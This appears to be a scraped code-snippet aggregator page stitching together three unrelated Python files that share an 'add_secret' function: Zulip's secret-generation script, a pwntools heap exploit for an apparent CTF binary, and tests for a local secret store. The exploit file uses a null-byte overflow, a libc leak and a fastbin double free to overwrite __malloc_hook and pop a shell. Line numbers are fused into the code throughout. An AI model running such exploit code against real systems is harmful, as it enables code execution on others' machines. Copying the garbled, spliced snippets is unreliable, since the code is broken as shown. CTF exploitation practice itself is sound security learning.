Best Python code snippet using lisa_python
generate_secrets.py
Source:generate_secrets.py  
...58    if len(current_conf) == 0:59        lines = ["[secrets]\n"]60    def need_secret(name: str) -> bool:61        return name not in current_conf62    def add_secret(name: str, value: str) -> None:63        lines.append(f"{name} = {value}\n")64        current_conf[name] = value65    for name in AUTOGENERATED_SETTINGS:66        if need_secret(name):67            add_secret(name, random_token())68    # These secrets are exclusive to a Zulip development environment.69    # We use PostgreSQL peer authentication by default in production,70    # and initial_password_salt is used to generate passwords for the71    # test/development database users.  See `manage.py72    # print_initial_password`.73    if development and need_secret("initial_password_salt"):74        add_secret("initial_password_salt", random_token())75    if development and need_secret("local_database_password"):76        add_secret("local_database_password", random_token())77    # We only need a secret if the database username does not match78    # the OS username, as identd auth works in that case.79    if get_config(80        get_config_file(), "postgresql", "database_user", "zulip"81    ) != "zulip" and need_secret("postgres_password"):82        add_secret("postgres_password", random_token())83    # The core Django SECRET_KEY setting, used by Django internally to84    # secure sessions.  If this gets changed, all users will be logged out.85    if need_secret("secret_key"):86        secret_key = generate_django_secretkey()87        add_secret("secret_key", secret_key)88        # To prevent Django ImproperlyConfigured error89        from zproject import settings90        settings.SECRET_KEY = secret_key91    # Secret key for the Camo HTTPS proxy.92    if need_secret("camo_key"):93        add_secret("camo_key", random_string(64))94    if not development:95        # The memcached_password and redis_password secrets are only96        # required/relevant in production.97        # Password for authentication to memcached.98        if need_secret("memcached_password"):99            # We defer importing settings unless we need it, because100            # importing settings is expensive (mostly because of101            # django-auth-ldap) and we want the noop case to be fast.102            from zproject import settings103            if settings.MEMCACHED_LOCATION == "127.0.0.1:11211":104                add_secret("memcached_password", random_token())105        # Password for authentication to Redis.106        if need_secret("redis_password"):107            # We defer importing settings unless we need it, because108            # importing settings is expensive (mostly because of109            # django-auth-ldap) and we want the noop case to be fast.110            from zproject import settings111            if settings.REDIS_HOST == "127.0.0.1":112                # To prevent Puppet from restarting Redis, which would lose113                # data because we configured Redis to disable persistence, set114                # the Redis password on the running server and edit the config115                # file directly.116                import redis117                from zerver.lib.redis_utils import get_redis_client118                redis_password = random_token()119                for filename in ["/etc/redis/zuli-redis.conf", "/etc/redis/zulip-redis.conf"]:120                    if os.path.exists(filename):121                        with open(filename, "a") as f:122                            f.write(123                                "# Set a Redis password based on zulip-secrets.conf\n"124                                f"requirepass '{redis_password}'\n",125                            )126                        break127                try:128                    get_redis_client().config_set("requirepass", redis_password)129                except redis.exceptions.ConnectionError:130                    pass131                add_secret("redis_password", redis_password)132    # Random id and secret used to identify this installation when133    # accessing the Zulip mobile push notifications service.134    # * zulip_org_key is generated using os.urandom().135    # * zulip_org_id only needs to be unique, so we use a UUID.136    if need_secret("zulip_org_key"):137        add_secret("zulip_org_key", random_string(64))138    if need_secret("zulip_org_id"):139        add_secret("zulip_org_id", str(uuid.uuid4()))140    if len(lines) == 0:141        print("generate_secrets: No new secrets to generate.")142        return143    with open(OUTPUT_SETTINGS_FILENAME, "a") as f:144        # Write a newline at the start, in case there was no newline at145        # the end of the file due to human editing.146        f.write("\n" + "".join(lines))147    print(f"Generated new secrets in {OUTPUT_SETTINGS_FILENAME}.")148if __name__ == "__main__":149    parser = argparse.ArgumentParser()150    group = parser.add_mutually_exclusive_group(required=True)151    group.add_argument(152        "--development", action="store_true", help="For setting up the developer env for zulip"153    )...exploit.py
Source:exploit.py  
...14    context.terminal = ['tmux', 'splitw', '-h']15    gdb.attach(proc.pidof(p)[0], gdbscript='''16                                        continue17                                        ''')18def add_secret(size, name, secret):19    p.sendlineafter("Your choice :", "1")20    p.sendlineafter("Size of heart :", str(size))21    p.sendafter("Name of heart :", name)22    p.sendafter("secret of my heart :", secret)23def show_secret(index):24    p.sendlineafter("Your choice :", "2")25    p.sendlineafter("Index :", str(index))26def del_secret(index):27    p.sendlineafter("Your choice :", "3")28    p.sendlineafter("Index :", str(index))29def solve():30    add_secret(0xf8, "A"*32, "A"*0x8)       # chunk 031    add_secret(0x68, "B"*32, "B"*0x8)       # chunk 132    add_secret(0x68, "B"*32, "B"*0x8)       # chunk 233    add_secret(0x68, "B"*32, "B"*0x8)       # chunk 334    add_secret(0x68, "B"*32, "B"*0x8)       # chunk 435    add_secret(0x68, "B"*32, "B"*0x8)       # chunk 536    add_secret(0x100, "B"*32, "B"*0xf0 + p64(0) + p64(0x31))       # chunk 6 37    add_secret(0x10, "C"*32, "C"*0x8)       # chunk 7 (avoid merge to top chunk)38    39    del_secret(0)                           # put chunk 0 to unsorted bin40    41    # delete chunk 5 and add it again to null-byte overflow chunk 642    del_secret(5)                           #43    add_secret(0x68, "A"*32, "A"*0x60 + p64(0x330))       # chunk 044    # free chunk 6 cause heap consolidation45    del_secret(6)                       46    # add a chunk to push the fd pointer to chunk 147    add_secret(0xf8, "A"*32, "A"*0x8)       # chunk 548    49    # leak libc with chunk 150    show_secret(1)          51    libc.address = u64(p.recvuntil("==================================")[-41:-35] + '\x00\x00') - offset_libc52    malloc_hook = libc.symbols["__malloc_hook"]53    free_hook = libc.symbols["__free_hook"]54    one_gadget = libc.address + one_gadgets[2]55    success("libc address: %s"%hex(libc.address))56    success("malloc hook: %s"%hex(malloc_hook))57    success("free hook: %s"%hex(free_hook))58    success("one gadget: %s"%hex(one_gadget))59    # add a chunk which overlap with chunk 160    add_secret(0x68, "D"*32, "D"*0x8)       # chunk 661    # now chunk 1 and chunk 6 have the same address => double free62    del_secret(1)                           63    del_secret(3)       # bypass double free fastbin protection in glibc 2.2364    del_secret(6)65    # overwrite malloc_hook with one_gadget66    add_secret(0x68, "S"*32, p64(malloc_hook-0x23))67    add_secret(0x68, "S"*32, "S"*0x8)68    add_secret(0x68, "S"*32, "S"*0x8)69    # p.interactive()70    add_secret(0x68, "S"*32, '\x00'*0x13 + p64(one_gadget))71    p.interactive()72    # double free trigger printerr => pop shell 73    del_secret(1)74    del_secret(6)75    p.interactive()76if __name__ == "__main__":...test_local.py
Source:test_local.py  
...13def test_add_secret_happy_path():14    with tempfile.TemporaryDirectory() as tmpdir:15        tmpdir = Path(tmpdir)16        store = new_test_store(tmpdir)17        store.add_secret('my_secret', 'secret contents here')18        assert store.get_secret(SecretValue(secret_name='my_secret')) == 'secret contents here'19def test_missing_store_directory_raises():20    with tempfile.TemporaryDirectory() as tmpdir:21        tmpdir = Path(tmpdir)22        store = LocalSecretStore(23            Settings(store_location=tmpdir / 'bad-path', password=TEST_PASSWORD)24        )25        with pytest.raises(ValueError):26            store.add_secret('my_secret', 'secret contents')27def test_add_existing_secret_raises_unless_overwrite_specified():28    with tempfile.TemporaryDirectory() as tmpdir:29        tmpdir = Path(tmpdir)30        store = new_test_store(tmpdir)31        store.add_secret('my_secret', 'secret contents here')32        with pytest.raises(KeyError):33            store.add_secret('my_secret', 'new secret contents')34        assert store.get_secret(SecretValue(secret_name='my_secret')) == 'secret contents here'35        store.add_secret('my_secret', 'sudo new secret contents', overwrite=True)36        assert store.get_secret(SecretValue(secret_name='my_secret')) == 'sudo new secret contents'37def test_remove_nonexistent_secret_raises():38    with tempfile.TemporaryDirectory() as tmpdir:39        tmpdir = Path(tmpdir)40        store = new_test_store(tmpdir)41        with pytest.raises(KeyError):42            store.remove_secret('missing_secret')43def test_remove_secret_happy_path():44    with tempfile.TemporaryDirectory() as tmpdir:45        tmpdir = Path(tmpdir)46        store = new_test_store(tmpdir)47        store.add_secret('my_secret', 'secret contents here')48        assert store.get_secret(SecretValue(secret_name='my_secret')) == 'secret contents here'49        store.remove_secret('my_secret')50        with pytest.raises(KeyError):51            store.get_secret(SecretValue(secret_name='my_secret'))52def test_get_secret_with_key():53    with tempfile.TemporaryDirectory() as tmpdir:54        tmpdir = Path(tmpdir)55        store = new_test_store(tmpdir)56        store.add_secret('nested_secret', json.dumps({'x': 'foo', 'y': 'bar'}))57        assert store.get_secret(SecretValue(secret_name='nested_secret', key='x')) == 'foo'...Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!
